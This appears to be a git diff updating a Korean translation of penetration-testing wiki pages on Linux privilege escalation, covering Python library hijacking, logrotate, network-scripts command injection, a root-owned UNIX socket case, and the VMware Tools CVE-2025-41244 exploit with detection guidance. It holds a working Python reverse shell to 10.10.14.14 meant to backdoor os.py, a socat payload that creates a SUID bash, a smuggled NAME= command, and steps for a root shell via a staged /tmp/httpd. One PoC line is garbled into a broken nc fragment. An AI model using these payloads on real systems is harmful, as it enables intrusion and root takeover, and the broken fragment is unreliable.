+여기서 이 모든 방법을 어떻게 수행하는지는 일일이 적지 않겠습니다. 관심이 있다면 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)에서 수행하는 마지막 검사들을 확인해보세요.
## 쓰기 가능한 파일
### Python library hijacking
-python 스크립트가 **어디에서** 실행될지 알고 그 폴더에 **쓸 수 있거나** 또는 **python 라이브러리를 수정할 수** 있다면, OS 라이브러리를 수정해 backdoor할 수 있습니다 (python 스크립트가 실행되는 위치에 쓸 수 있다면 os.py 라이브러리를 복사해서 붙여넣으세요).
+만약 python script가 실행될 **어디서**를 알고 있고 해당 폴더에 **쓸 수 있다면** 또는 python 라이브러리를 **수정할 수 있다면**, OS library를 수정해 백도어를 심을 수 있습니다 (python script가 실행되는 위치에 쓸 수 있다면 os.py 라이브러리를 복사해서 붙여넣으세요).
-라이브러리를 **backdoor the library** 하려면 os.py 라이브러리의 끝에 다음 줄을 추가하세요 (IP와 PORT를 변경하세요):
+라이브러리에 **backdoor the library** 하려면 os.py 라이브러리의 끝에 다음 줄을 추가하세요 (IP와 PORT를 변경하세요):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
### Logrotate 악용
-A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied.
+`logrotate`의 취약점으로 로그 파일 또는 상위 디렉터리에 대해 **쓰기 권한**을 가진 사용자가 권한 상승을 얻을 수 있습니다. 이는 `logrotate`가 종종 **root**로 실행되어 임의 파일을 실행하도록 조작될 수 있기 때문이며, 특히 _**/etc/bash_completion.d/**_ 같은 디렉터리에서 그렇습니다. 권한은 _/var/log_뿐만 아니라 로그 회전이 적용되는 모든 디렉터리에서 확인해야 합니다.
> [!TIP]
-> This vulnerability affects `logrotate` version `3.18.0` and older
+> 이 취약점은 `logrotate` 버전 `3.18.0` 및 이전 버전에 영향을 미칩니다
-More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
+취약점에 대한 자세한 정보는 다음 페이지에서 확인할 수 있습니다: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
-You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten).
+이 취약점은 [**logrotten**](https://github.com/whotwagner/logrotten)으로 악용할 수 있습니다.
-This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks.
+이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** 와 매우 유사하므로, 로그를 변경할 수 있음을 발견하면 로그를 누가 관리하는지 확인하고 로그를 심볼릭 링크로 대체하여 권한 상승이 가능한지 확인하세요.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
-**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
+**취약점 참조:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
-If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**.
+만약 어떤 이유로 사용자가 _/etc/sysconfig/network-scripts_에 `ifcf-` 스크립트를 **쓰기** 할 수 있거나 기존 것을 **수정**할 수 있다면, 당신의 시스템은 **pwned** 상태가 됩니다.
-Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d).
+Network scripts, _ifcg-eth0_ for example are used for network connections. 이들은 .INI 파일과 정확히 동일하게 보입니다. 하지만 Linux에서 Network Manager (dispatcher.d)에 의해 ~sourced~ 됩니다.
-In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**.
+내 경우, 이러한 네트워크 스크립트의 `NAME=` 속성이 올바르게 처리되지 않았습니다. 이름에 **공백(white/blank space)** 가 있으면 시스템은 공백 뒤의 부분을 실행하려고 합니다. 즉, **첫 번째 공백 뒤의 모든 내용이 root로 실행됩니다**.
-For example: _/etc/sysconfig/network-scripts/ifcfg-1337_
+예: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
```
-(_Network와 /bin/id_ 사이의 공백을 주의하세요_)
+(_네트워크와 /bin/id_ 사이의 공백을 주의하세요_)
-### **init, init.d, systemd, and rc.d**
+### **init, init.d, systemd 및 rc.d**
-디렉토리 `/etc/init.d` 는 System V init (SysVinit)을 위한 **스크립트**의 저장소로, **고전적인 Linux 서비스 관리 시스템**입니다. 여기에는 서비스를 `start`, `stop`, `restart`, 때로는 `reload` 하는 스크립트들이 포함되어 있습니다. 이들은 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 계열에서는 대체 경로로 `/etc/rc.d/init.d`가 사용됩니다.
+디렉터리 `/etc/init.d` 는 System V init (SysVinit) 용 **스크립트**의 저장 위치입니다. 여기에는 서비스 `start`, `stop`, `restart`, 때로는 `reload` 를 수행하는 스크립트들이 포함되어 있습니다. 이 스크립트들은 직접 실행되거나 `/etc/rc?.d/` 에 있는 심볼릭 링크를 통해 호출될 수 있습니다. Redhat 계열에서는 대체 경로로 `/etc/rc.d/init.d` 가 사용됩니다.
-반면에 `/etc/init` 은 Ubuntu에서 도입된 **Upstart**와 연관되어 있으며, 서비스 관리를 위한 설정 파일을 사용합니다. Upstart로 전환되었더라도 Upstart의 호환 레이어 때문에 SysVinit 스크립트가 여전히 함께 사용됩니다.
+반면에 `/etc/init` 은 **Upstart** 와 연관되어 있으며, Ubuntu에서 도입된 새로운 **service management** 방식으로 서비스 관리를 위한 설정 파일을 사용합니다. Upstart로 전환되었음에도 불구하고, Upstart의 호환성 레이어 때문에 SysVinit 스크립트가 Upstart 설정과 함께 여전히 사용됩니다.
-**systemd**는 현대적인 초기화 및 서비스 관리자이며, on-demand daemon starting, automount 관리, 시스템 상태 스냅샷 등 고급 기능을 제공합니다. 배포 패키지는 `/usr/lib/systemd/`에, 관리자가 수정하는 파일은 `/etc/systemd/system/`에 정리되어 있어 시스템 관리가 간소화됩니다.
+**systemd** 는 현대적인 초기화 및 서비스 관리자로 등장했으며, on-demand daemon 시작, automount 관리, 시스템 상태 스냅샷 등 고급 기능을 제공합니다. 패키지 배포용 파일은 `/usr/lib/systemd/` 에, 관리자가 수정하는 파일은 `/etc/systemd/system/` 에 정리되어 있어 시스템 관리 작업을 단순화합니다.
-## 기타 기법
+## 기타 요령
### NFS Privilege escalation
@@ -1482,7 +1478,7 @@ cisco-vmanage.md
## Android rooting frameworks: manager-channel abuse
-Android rooting frameworks는 일반적으로 syscall을 훅(hook)하여 privileged kernel 기능을 userspace manager에 노출합니다. FD-order 기반 서명 검사나 취약한 비밀번호 체계와 같은 약한 manager 인증은 로컬 앱이 manager를 가장하여 이미 root인 기기에서 root로 권한을 상승시키는 것을 가능하게 할 수 있습니다. 자세한 내용과 익스플로잇 방법은 다음에서 확인하세요:
+Android rooting frameworks는 일반적으로 privileged한 커널 기능을 userspace manager에 노출하기 위해 syscall을 훅합니다. 약한 manager 인증(예: FD-order 기반의 서명 검사 또는 취약한 비밀번호 체계)은 로컬 앱이 manager를 가장하여 이미 루팅된 장치에서 root로 상승할 수 있게 할 수 있습니다. 자세한 내용 및 익스플로잇 세부사항은 다음을 참조하세요:
{{#ref}}
@@ -1491,39 +1487,39 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
-Regex 기반의 서비스 검색은 VMware Tools/Aria Operations에서 프로세스 명령행에서 바이너리 경로를 추출하고 privileged 컨텍스트에서 -v 옵션으로 실행할 수 있게 합니다. 허용적인 패턴(예: \S 사용)은 쓰기 가능한 위치(예: /tmp/httpd)에 배치한 공격자 리스너와 일치할 수 있으며, 결과적으로 root로 실행되는 상황(CWE-426 Untrusted Search Path)을 초래할 수 있습니다.
+VMware Tools/Aria Operations의 regex 기반 서비스 검색은 프로세스 커맨드 라인에서 바이너리 경로를 추출하고 privileged 컨텍스트에서 해당 바이너리를 -v 옵션과 함께 실행할 수 있습니다. 느슨한 패턴(예: \S 사용)은 쓰기 가능한 위치(예: /tmp/httpd)에 공격자가 배치한 리스너와 매치될 수 있으며, 그 결과 root로 실행될 수 있습니다 (CWE-426 Untrusted Search Path).
-자세한 내용과 다른 discovery/monitoring 스택에 적용 가능한 일반화된 패턴은 다음에서 확인하세요:
+자세한 내용과 다른 discovery/monitoring 스택에도 적용 가능한 일반화된 패턴은 다음을 참조하세요:
{{#ref}}
vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
{{#endref}}
-## Kernel Security Protections
+## 커널 보안 보호
- [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
- [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
-## More help
+## 추가 도움말
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
## Linux/Unix Privesc Tools
-### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
+### **Linux local privilege escalation vectors를 찾기 위한 최고의 도구:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
-**Kernelpop:** Linux 및 MAC에서 커널 취약점을 열거 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
+**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
-**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
+**EvilAbigail (물리적 접근):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
-## References
+## 참고자료
- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html)
- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui)
diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md
index 2567b9a04..e0f218aac 100644
--- a/src/linux-hardening/privilege-escalation/socket-command-injection.md
+++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-## Python으로 된 Socket 바인딩 예제
+## Python을 사용한 Socket binding 예제
-다음 예제에서는 **unix socket이 생성**됩니다 (`/tmp/socket_test.s`) 그리고 **수신된** 모든 내용은 `os.system`에 의해 **실행**됩니다. 실제로 이런 코드를 현장에서 만나긴 어렵겠지만, 이 예제의 목적은 unix sockets를 사용하는 코드가 어떻게 생겼는지와 최악의 경우 입력을 어떻게 처리해야 하는지를 보여주는 것입니다.
+다음 예제에서는 **unix socket이 생성됩니다** (`/tmp/socket_test.s`) 그리고 수신되는 모든 내용이 `os.system`에 의해 **실행**됩니다. 실제로 이런 코드를 현장에서 보게 되지는 않을 것이지만, 이 예제의 목적은 unix sockets를 사용하는 코드가 어떻게 보이는지와 최악의 경우 입력을 어떻게 처리해야 하는지를 살펴보는 것입니다.
```python:s.py
import socket
import os, os.path
@@ -26,7 +26,7 @@ print(datagram)
os.system(datagram)
conn.close()
```
-**실행** 코드를 python으로 실행하세요: `python s.py` 그리고 **소켓이 어떻게 리스닝되는지 확인하세요**:
+코드를 **실행**하려면 python을 사용하여: `python s.py` 그리고 **socket이 어떻게 listening하는지 확인하세요**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
@@ -39,13 +39,13 @@ echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat -
```
## 사례 연구: Root-owned UNIX socket signal-triggered escalation (LG webOS)
-일부 privileged daemon들은 untrusted input을 받는 root-owned UNIX socket을 노출하고, privileged actions을 thread-IDs와 signals에 결합합니다. 프로토콜이 unprivileged client가 어떤 native thread가 타겟이 될지 영향을 줄 수 있게 허용한다면, privileged code path를 트리거해 escalate할 수 있습니다.
+권한 있는 일부 데몬은 신뢰할 수 없는 입력을 받는 root-owned UNIX socket을 노출하고, 권한이 필요한 동작을 thread-IDs와 signals에 연결합니다. 프로토콜이 비권한 클라이언트가 어느 native thread를 타깃으로 하는지 영향을 줄 수 있게 허용하면, 권한 있는 코드 경로를 유발하여 권한 상승을 시도할 수 있습니다.
-관찰된 패턴:
-- root-owned socket에 연결 (예: /tmp/remotelogger).
-- 스레드를 생성하고 해당 native thread id (TID)를 얻는다.
-- 요청으로 TID (packed)와 padding을 함께 전송; acknowledgement를 받는다.
-- 해당 TID에 특정 signal을 전달하여 privileged behaviour를 트리거한다.
+Observed pattern:
+- root-owned socket에 연결합니다 (예: /tmp/remotelogger).
+- 스레드를 생성하고 native thread id (TID)를 얻습니다.
+- TID(패킹된 값)와 패딩을 함께 요청으로 전송하고, 확인 응답(acknowledgement)을 받습니다.
+- 해당 TID에 특정 signal을 전달해 권한 있는 동작을 트리거합니다.
간단한 PoC 스케치:
```python
@@ -59,16 +59,16 @@ s.sendall(struct.pack('&1 | nc 23231 > /tmp/f
```
노트:
-- 이 유형의 버그는 권한 없는 클라이언트 상태(TIDs)에서 유래한 값을 신뢰하고 이를 권한 있는 시그널 핸들러나 로직에 바인딩함으로써 발생합니다.
-- 소켓에 대한 자격 증명을 강제하고, 메시지 형식을 검증하며, 외부에서 제공된 스레드 식별자와 권한 있는 작업을 분리하여 시스템을 강화하세요.
+- 이 유형의 취약점은 비특권 클라이언트 상태(TIDs)에서 유래한 값을 신뢰하고 이를 특권 신호 핸들러나 로직에 결합할 때 발생합니다.
+- 소켓에 대한 자격증명을 강제하고, 메시지 형식을 검증하며, 특권 작업을 외부에서 제공된 스레드 식별자와 분리하여 강화하세요.
-## References
+## 참고 자료
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
index 78d3a4802..46c0df0b6 100644
--- a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
+++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
@@ -1,8 +1,8 @@
-# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
+# VMware Tools 서비스 검색 LPE (CWE-426) - regex 기반 바이너리 검색 취약점 (CVE-2025-41244)
{{#include ../../banners/hacktricks-training.md}}
-이 기법은 실행 중인 프로세스의 명령줄을 파싱해 서비스 버전을 유추한 뒤 후보 바이너리를 "version" 플래그로 실행하는 regex 기반의 service discovery 파이프라인을 악용합니다. 허용적인 패턴이 신뢰할 수 없는 공격자 제어 경로(예: /tmp/httpd)를 허용하면, 권한 있는 수집기가 신뢰할 수 없는 위치의 임의 바이너리를 실행하여 로컬 권한 상승을 일으킬 수 있습니다. NVISO는 이를 VMware Tools/Aria Operations Service Discovery에서 CVE-2025-41244로 문서화했습니다.
+이 기법은 실행 중인 프로세스의 명령줄을 파싱하여 서비스 버전을 추론한 뒤 후보 바이너리를 "version" 플래그로 실행하는 regex 기반의 service discovery 파이프라인을 악용합니다. 허용적인 패턴이 /tmp/httpd 같은 신뢰할 수 없는 공격자가 제어하는 경로를 허용하면, 권한 있는 수집 프로세스가 신뢰되지 않은 위치의 임의 바이너리를 실행하여 로컬 권한 상승이 발생합니다. NVISO는 이를 VMware Tools/Aria Operations Service Discovery에서 CVE-2025-41244로 문서화했습니다.
- Impact: Local privilege escalation to root (or to the privileged discovery account)
- Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
@@ -10,14 +10,14 @@
## How VMware service discovery works (high level)
-- Credential-based (legacy): Aria executes discovery scripts inside the guest via VMware Tools using configured privileged credentials.
-- Credential-less (modern): Discovery logic runs within VMware Tools, already privileged in the guest.
+- Credential-based (legacy): Aria가 구성된 권한 있는 자격증명을 사용해 VMware Tools를 통해 게스트 내부에서 discovery 스크립트를 실행합니다.
+- Credential-less (modern): Discovery 로직이 이미 게스트 내에서 권한을 가진 VMware Tools 내에서 실행됩니다.
-두 모드 모두 궁극적으로 쉘 로직을 실행하여 수신 중인 소켓을 가진 프로세스를 스캔하고, regex로 일치하는 명령 경로를 추출한 뒤 첫 번째 argv 토큰을 version 플래그와 함께 실행합니다.
+두 모드 모두 궁극적으로 리스닝 소켓이 있는 프로세스를 스캔하고, 정규식으로 일치하는 명령 경로를 추출한 뒤 첫 번째 argv 토큰을 버전 플래그와 함께 실행하는 셸 로직을 실행합니다.
## Root cause and vulnerable pattern (open-vm-tools)
-In open-vm-tools, the serviceDiscovery plugin script get-versions.sh matches candidate binaries using broad regular expressions and executes the first token without any trusted-path validation:
+open-vm-tools에서 serviceDiscovery 플러그인 스크립트 get-versions.sh는 넓은 정규식을 사용해 후보 바이너리를 매칭하고, trusted-path 검증 없이 첫 번째 토큰을 실행합니다:
```bash
get_version() {
PATTERN=$1
@@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
done
}
```
-이는 \S (비공백)를 포함하는 관대한 패턴으로 호출되어 사용자 쓰기 가능한 위치의 비시스템 경로와 쉽게 일치합니다:
+이는 \S (공백이 아닌 문자)를 포함한 관대한 패턴으로 호출되어 사용자 쓰기 가능한 위치에 있는 비시스템 경로와 쉽게 매치됩니다:
```bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
@@ -38,21 +38,21 @@ get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
```
-- 추출은 grep -Eo를 사용하고 첫 번째 토큰을 취합니다: ${COMMAND%%[[:space:]]*}
-- 신뢰된 시스템 경로에 대한 whitelist/allowlist가 없으며, 일치하는 이름을 가진 리스너가 발견되면 -v/--version으로 실행됩니다
+- 추출은 grep -Eo를 사용하며 첫 토큰을 취함: ${COMMAND%%[[:space:]]*}
+- 신뢰된 시스템 경로에 대한 whitelist/allowlist가 없음; 일치하는 이름의 발견된 listener는 -v/--version으로 실행됨
-이것은 untrusted search path execution primitive를 생성합니다: world-writable 디렉터리(예: /tmp/httpd)에 있는 임의의 바이너리가 권한 있는 구성 요소에 의해 실행됩니다.
+This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
## Exploitation (both credential-less and credential-based modes)
Preconditions
-- 게스트에서 리스닝 소켓을 여는 unprivileged 프로세스를 실행할 수 있어야 합니다.
-- discovery job이 활성화되어 주기적으로 실행됩니다(과거에는 약 5분 간격).
+- 게스트에서 listening socket을 여는 unprivileged 프로세스를 실행할 수 있어야 함.
+- discovery job이 활성화되어 주기적으로 실행되어야 함 (과거에는 약 5분).
Steps
-1) permissive regexes 중 하나와 일치하는 경로에 바이너리를 스테이징합니다(예: /tmp/httpd 또는 ./nginx)
-2) 권한이 낮은 사용자로 실행하고 리스닝 소켓이 열려 있는지 확인합니다
-3) 탐지 주기를 기다리면, 권한 있는 수집기(collector)가 자동으로 다음을 실행합니다: /tmp/httpd -v (또는 유사한 명령) — 이때 프로그램이 root로 실행됩니다
+1) 허용적인 regex 중 하나와 일치하는 경로에 바이너리를 스테이징(배치), 예: /tmp/httpd 또는 ./nginx
+2) 저권한 사용자로 실행하고 어떤 listening socket이라도 열도록 확인
+3) discovery cycle을 기다려라; privileged collector가 자동으로 실행함: /tmp/httpd -v (또는 유사), 당신의 프로그램을 root로 실행
Minimal demo (using NVISO’s approach)
```bash
@@ -65,57 +65,57 @@ chmod +x /tmp/httpd
/tmp/httpd # run as low-priv user and wait for the cycle
# After the next cycle, expect a root shell or your privileged action
```
-전형적인 프로세스 계보
+일반적인 프로세스 계보
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
-아티팩트 (credential-based)
-복구된 SDMP wrapper scripts가 /tmp/VMware-SDMP-Scripts-{UUID}/ 아래에 있을 경우 악성 경로의 직접 실행을 보여줄 수 있습니다:
+아티팩트 (자격 증명 기반)
+/tmp/VMware-SDMP-Scripts-{UUID}/ 아래에서 복구된 SDMP 래퍼 스크립트는 악성 경로를 직접 실행하는 것을 보여줄 수 있습니다:
```bash
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
```
## 기법 일반화: regex-driven discovery abuse (portable pattern)
-Many agents and monitoring suites implement version/service discovery by:
-- Enumerating processes with listening sockets
-- Grepping argv/command lines with permissive regexes (e.g., patterns containing \S)
-- Executing the matched path with a benign flag like -v, --version, -V, -h
+많은 에이전트와 모니터링 스위트는 버전/서비스 검색을 다음 방식으로 구현합니다:
+- 리스닝 소켓을 가진 프로세스 열거
+- argv/command lines를 허용적인 regex로 Grepping(예: \S를 포함하는 패턴)
+- 일치한 경로를 -v, --version, -V, -h 같은 무해한 플래그로 실행
-If the regex accepts untrusted paths and the path is executed from a privileged context, you get CWE-426 Untrusted Search Path execution.
+만약 regex가 신뢰할 수 없는 경로를 허용하고 그 경로가 권한 있는 컨텍스트에서 실행되면, CWE-426 Untrusted Search Path execution이 발생합니다.
-악용 절차
-- Name your binary like common daemons that the regex is likely to match: httpd, nginx, mysqld, dataserver
-- Place it in a writable directory: /tmp/httpd, ./nginx
-- Ensure it matches the regex and opens any port to be enumerated
-- Wait for the scheduled collector; you get an automatic privileged invocation of -v
+악용 방법
+- 바이너리 이름을 regex가 매칭할 가능성이 높은 일반적인 데몬 이름처럼 지정: httpd, nginx, mysqld, dataserver
+- 쓰기 가능한 디렉토리에 배치: /tmp/httpd, ./nginx
+- regex에 매칭되고 열거되도록 임의의 포트를 오픈하도록 보장
+- 스케줄된 수집기를 기다리면 자동으로 권한 있는 -v 호출을 얻음
-Masquerading note: 이는 MITRE ATT&CK T1036.005 (Match Legitimate Name or Location)과 일치하여 매칭 확률과 은폐를 높입니다.
+Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
-Reusable privileged I/O relay trick
-- Build your helper so that on privileged invocation (-v/--version) it connects to a known rendezvous (e.g., a Linux abstract UNIX socket like @cve) and bridges stdio to /bin/sh -i. This avoids on-disk artifacts and works across many environments where the same binary is re-invoked with a flag.
+재사용 가능한 권한 있는 I/O 릴레이 기법
+- 헬퍼를 작성할 때 권한 있는 호출(-v/--version) 시 알려진 rendezvous(예: @cve 같은 Linux abstract UNIX socket)에 연결하고 stdio를 /bin/sh -i로 브리지하도록 만드세요. 이렇게 하면 디스크에 남는 아티팩트를 피할 수 있고 동일한 바이너리가 플래그와 함께 다시 호출되는 많은 환경에서 동작합니다.
## Detection and DFIR guidance
헌팅 쿼리
-- vmtoolsd 또는 get-versions.sh의 드문 자식 프로세스들(ex: /tmp/httpd, ./nginx, /tmp/mysqld)
-- discovery 스크립트에 의해 비시스템 절대 경로가 실행되는 모든 경우 (${COMMAND%%...} 확장에서 공백을 찾으세요)
-- ps -ef --forest로 조상 트리를 시각화: vmtoolsd -> get-versions.sh ->
+- vmtoolsd 또는 get-versions.sh의 흔치 않은 자식 프로세스 예: /tmp/httpd, ./nginx, /tmp/mysqld
+- discovery scripts에 의해 실행된 비시스템 절대 경로( ${COMMAND%%...} 확장 내의 공백을 찾아보세요 )
+- ps -ef --forest로 조상 트리 시각화: vmtoolsd -> get-versions.sh ->
-On Aria SDMP (credential-based)
-- /tmp/VMware-SDMP-Scripts-{UUID}/를 검사하여 임시 스크립트와 공격자 경로의 실행을 보여주는 stdout/stderr 아티팩트 확인
+Aria SDMP(credential-based)에서
+- /tmp/VMware-SDMP-Scripts-{UUID}/를 검사하여 일시적 스크립트와 stdout/stderr 아티팩트에서 공격자 경로 실행 흔적을 확인
-정책/텔레메트리
-- 권한 있는 컬렉터가 비시스템 접두사에서 실행될 때 알림: ^/(tmp|home|var/tmp|dev/shm)/
-- get-versions.sh 및 VMware Tools 플러그인에 대한 파일 무결성 모니터링
+정책/telemetry
+- 권한 있는 수집기가 비시스템 접두사에서 실행되면 경보: ^/(tmp|home|var/tmp|dev/shm)/
+- get-versions.sh 및 VMware Tools plugins에 대한 파일 무결성 모니터링
-## 완화책
+## Mitigations
-- 패치: Broadcom/VMware의 CVE-2025-41244 (Tools and Aria Operations SDMP) 업데이트 적용
-- 자격 증명 없는 discovery를 가능한 경우 비활성화하거나 제한
-- 신뢰된 경로 검증: 실행을 허용 목록 디렉터리(/usr/sbin, /usr/bin, /sbin, /bin)로 제한하고 정확히 알려진 바이너리만 허용
-- \S 같은 관대한 regex 사용을 피하고, 앵커된 명시적 절대 경로 및 정확한 명령 이름을 선호
-- discovery 헬퍼의 권한을 낮추고 가능한 경우 샌드박스(seccomp/AppArmor)로 영향 감소
-- vmtoolsd/get-versions.sh가 비시스템 경로를 실행하는지 모니터링 및 알림
+- Patch: CVE-2025-41244(Tools 및 Aria Operations SDMP)에 대한 Broadcom/VMware 업데이트 적용
+- 자격 증명 없이 실행되는 discovery를 가능하면 비활성화하거나 제한
+- 신뢰된 경로 검증: 실행을 허용된 디렉토리로 제한(/usr/sbin, /usr/bin, /sbin, /bin)하고 정확히 알려진 바이너리만 허용
+- \S 같은 허용적인 regex 회피; 앵커된(explicit) 절대 경로와 정확한 명령 이름을 선호
+- discovery 헬퍼의 권한을 가능한 한 낮추고, 영향 감소를 위해 sandbox(seccomp/AppArmor) 적용
+- vmtoolsd/get-versions.sh가 비시스템 경로를 실행하는지 모니터링 및 경보
## Notes for defenders and implementers
@@ -137,8 +137,8 @@ esac
```
## 참고자료
-- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
-- [Broadcom – CVE-2025-41244 권고문](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
+- [NVISO – 이름만 대면, VMware가 권한을 상승시킵니다 (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
+- [Broadcom의 CVE-2025-41244 권고](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
index e1c952f3a..f353ef49e 100644
--- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md
+++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
@@ -2,42 +2,42 @@
{{#include ../../banners/hacktricks-training.md}}
-## 파일 업로드로 RCE
+## File upload to RCE
